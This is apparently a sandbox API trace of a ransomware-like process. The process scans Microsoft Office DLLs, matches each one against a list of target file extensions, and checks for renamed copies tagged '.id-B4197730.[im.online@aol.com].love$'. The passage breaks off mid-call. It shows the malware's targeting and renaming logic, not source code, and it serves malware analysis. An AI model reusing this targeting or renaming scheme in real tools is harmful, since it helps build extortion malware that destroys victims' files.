[0250.365] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.365] lstrlenW (lpString=".rar") returned 4 [0250.365] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.365] lstrlenW (lpString=".bz2") returned 4 [0250.365] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.365] lstrlenW (lpString=".7z") returned 3 [0250.365] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.365] lstrlenW (lpString=".dbf") returned 4 [0250.365] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.365] lstrlenW (lpString=".1cd") returned 4 [0250.365] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.366] lstrlenW (lpString=".jpg") returned 4 [0250.366] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.366] lstrlenW (lpString=".doc") returned 4 [0250.366] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.366] lstrlenW (lpString=".docx") returned 5 [0250.366] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.366] lstrlenW (lpString=".pdf") returned 4 [0250.366] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.366] lstrlenW (lpString=".xls") returned 4 [0250.366] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.366] lstrlenW (lpString=".xlsx") returned 5 [0250.366] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.366] lstrlenW (lpString=".ppt") returned 4 [0250.366] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.366] lstrlenW (lpString=".zip") returned 4 [0250.366] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.366] lstrlenW (lpString=".rar") returned 4 [0250.366] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.366] lstrlenW (lpString=".bz2") returned 4 [0250.366] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.366] lstrlenW (lpString=".7z") returned 3 [0250.366] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.366] lstrlenW (lpString=".dbf") returned 4 [0250.366] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.367] lstrlenW (lpString=".1cd") returned 4 [0250.367] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.367] lstrlenW (lpString=".jpg") returned 4 [0250.367] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.367] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.367] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0250.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0250.369] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=21184) returned 1 [0250.369] CloseHandle (hObject=0x544) returned 1 [0250.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0250.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.370] lstrlenW (lpString=".doc") returned 4 [0250.370] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.370] lstrlenW (lpString=".docx") returned 5 [0250.370] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.370] lstrlenW (lpString=".pdf") returned 4 [0250.370] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.370] lstrlenW (lpString=".xls") returned 4 [0250.370] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.370] lstrlenW (lpString=".xlsx") returned 5 [0250.370] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.370] lstrlenW (lpString=".ppt") returned 4 [0250.370] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.370] lstrlenW (lpString=".zip") returned 4 [0250.370] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.370] lstrlenW (lpString=".rar") returned 4 [0250.370] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.370] lstrlenW (lpString=".bz2") returned 4 [0250.370] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.370] lstrlenW (lpString=".7z") returned 3 [0250.370] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.371] lstrlenW (lpString=".dbf") returned 4 [0250.371] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.371] lstrlenW (lpString=".1cd") returned 4 [0250.371] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.371] lstrlenW (lpString=".jpg") returned 4 [0250.371] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.371] lstrlenW (lpString=".doc") returned 4 [0250.371] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.371] lstrlenW (lpString=".docx") returned 5 [0250.371] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.371] lstrlenW (lpString=".pdf") returned 4 [0250.371] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.371] lstrlenW (lpString=".xls") returned 4 [0250.371] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.371] lstrlenW (lpString=".xlsx") returned 5 [0250.371] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.371] lstrlenW (lpString=".ppt") returned 4 [0250.371] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.371] lstrlenW (lpString=".zip") returned 4 [0250.371] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.371] lstrlenW (lpString=".rar") returned 4 [0250.371] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.372] lstrlenW (lpString=".bz2") returned 4 [0250.372] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.372] lstrlenW (lpString=".7z") returned 3 [0250.372] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.372] lstrlenW (lpString=".dbf") returned 4 [0250.372] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.372] lstrlenW (lpString=".1cd") returned 4 [0250.372] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0250.372] lstrlenW (lpString=".jpg") returned 4 [0250.372] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.372] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.372] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0250.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0250.373] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=19136) returned 1 [0250.373] CloseHandle (hObject=0x544) returned 1 [0250.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0250.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.374] lstrlenW (lpString=".doc") returned 4 [0250.374] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.374] lstrlenW (lpString=".docx") returned 5 [0250.374] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0250.374] lstrlenW (lpString=".pdf") returned 4 [0250.374] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.374] lstrlenW (lpString=".xls") returned 4 [0250.374] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.374] lstrlenW (lpString=".xlsx") returned 5 [0250.374] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0250.374] lstrlenW (lpString=".ppt") returned 4 [0250.374] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.374] lstrlenW (lpString=".zip") returned 4 [0250.374] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.374] lstrlenW (lpString=".rar") returned 4 [0250.374] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.374] lstrlenW (lpString=".bz2") returned 4 [0250.374] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.375] lstrlenW (lpString=".7z") returned 3 [0250.375] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.375] lstrlenW (lpString=".dbf") returned 4 [0250.375] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.375] lstrlenW (lpString=".1cd") returned 4 [0250.375] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.375] lstrlenW (lpString=".jpg") returned 4 [0250.375] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.375] lstrlenW (lpString=".doc") returned 4 [0250.375] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.375] lstrlenW (lpString=".docx") returned 5 [0250.375] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0250.375] lstrlenW (lpString=".pdf") returned 4 [0250.375] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.375] lstrlenW (lpString=".xls") returned 4 [0250.375] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.375] lstrlenW (lpString=".xlsx") returned 5 [0250.375] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0250.375] lstrlenW (lpString=".ppt") returned 4 [0250.375] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.375] lstrlenW (lpString=".zip") returned 4 [0250.376] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.376] lstrlenW (lpString=".rar") returned 4 [0250.376] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.376] lstrlenW (lpString=".bz2") returned 4 [0250.376] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.376] lstrlenW (lpString=".7z") returned 3 [0250.376] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.376] lstrlenW (lpString=".dbf") returned 4 [0250.376] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.376] lstrlenW (lpString=".1cd") returned 4 [0250.376] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0250.376] lstrlenW (lpString=".jpg") returned 4 [0250.376] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.376] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.376] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0250.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0250.492] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=19136) returned 1 [0250.492] CloseHandle (hObject=0x4e4) returned 1 [0250.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0250.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.801] lstrlenW (lpString=".doc") returned 4 [0250.801] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.801] lstrlenW (lpString=".docx") returned 5 [0250.801] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.801] lstrlenW (lpString=".pdf") returned 4 [0250.801] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.801] lstrlenW (lpString=".xls") returned 4 [0250.801] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.801] lstrlenW (lpString=".xlsx") returned 5 [0250.801] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.801] lstrlenW (lpString=".ppt") returned 4 [0250.801] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.801] lstrlenW (lpString=".zip") returned 4 [0250.801] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.801] lstrlenW (lpString=".rar") returned 4 [0250.801] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.801] lstrlenW (lpString=".bz2") returned 4 [0250.801] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.801] lstrlenW (lpString=".7z") returned 3 [0250.801] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.801] lstrlenW (lpString=".dbf") returned 4 [0250.801] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.801] lstrlenW (lpString=".1cd") returned 4 [0250.801] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.802] lstrlenW (lpString=".jpg") returned 4 [0250.802] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.802] lstrlenW (lpString=".doc") returned 4 [0250.802] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.802] lstrlenW (lpString=".docx") returned 5 [0250.802] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.802] lstrlenW (lpString=".pdf") returned 4 [0250.802] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.802] lstrlenW (lpString=".xls") returned 4 [0250.802] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.802] lstrlenW (lpString=".xlsx") returned 5 [0250.802] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.802] lstrlenW (lpString=".ppt") returned 4 [0250.802] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.802] lstrlenW (lpString=".zip") returned 4 [0250.802] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.802] lstrlenW (lpString=".rar") returned 4 [0250.802] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.802] lstrlenW (lpString=".bz2") returned 4 [0250.802] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.802] lstrlenW (lpString=".7z") returned 3 [0250.802] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.802] lstrlenW (lpString=".dbf") returned 4 [0250.802] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.802] lstrlenW (lpString=".1cd") returned 4 [0250.802] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0250.803] lstrlenW (lpString=".jpg") returned 4 [0250.803] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.803] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.803] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0250.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.804] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=20672) returned 1 [0250.804] CloseHandle (hObject=0x45c) returned 1 [0250.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0250.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0250.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0250.804] lstrlenW (lpString=".doc") returned 4 [0250.804] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.804] lstrlenW (lpString=".docx") returned 5 [0250.804] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.804] lstrlenW (lpString=".pdf") returned 4 [0250.804] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.804] lstrlenW (lpString=".xls") returned 4 [0250.804] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.804] lstrlenW (lpString=".xlsx") returned 5 [0250.804] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.804] lstrlenW (lpString=".ppt") returned 4 [0250.804] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0250.805] lstrlenW (lpString=".zip") returned 4 [0250.805] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.805] lstrlenW (lpString=".rar") returned 4 [0250.805] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.805] lstrlenW (lpString=".bz2") returned 4 [0250.805] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.805] lstrlenW (lpString=".7z") returned 3 [0250.805] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0250.805] lstrlenW (lpString=".dbf") returned 4 [0250.805] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.805] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0250.807] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=19648) returned 1 [0250.807] CloseHandle (hObject=0x450) returned 1 [0250.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0250.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.807] CreateFileW 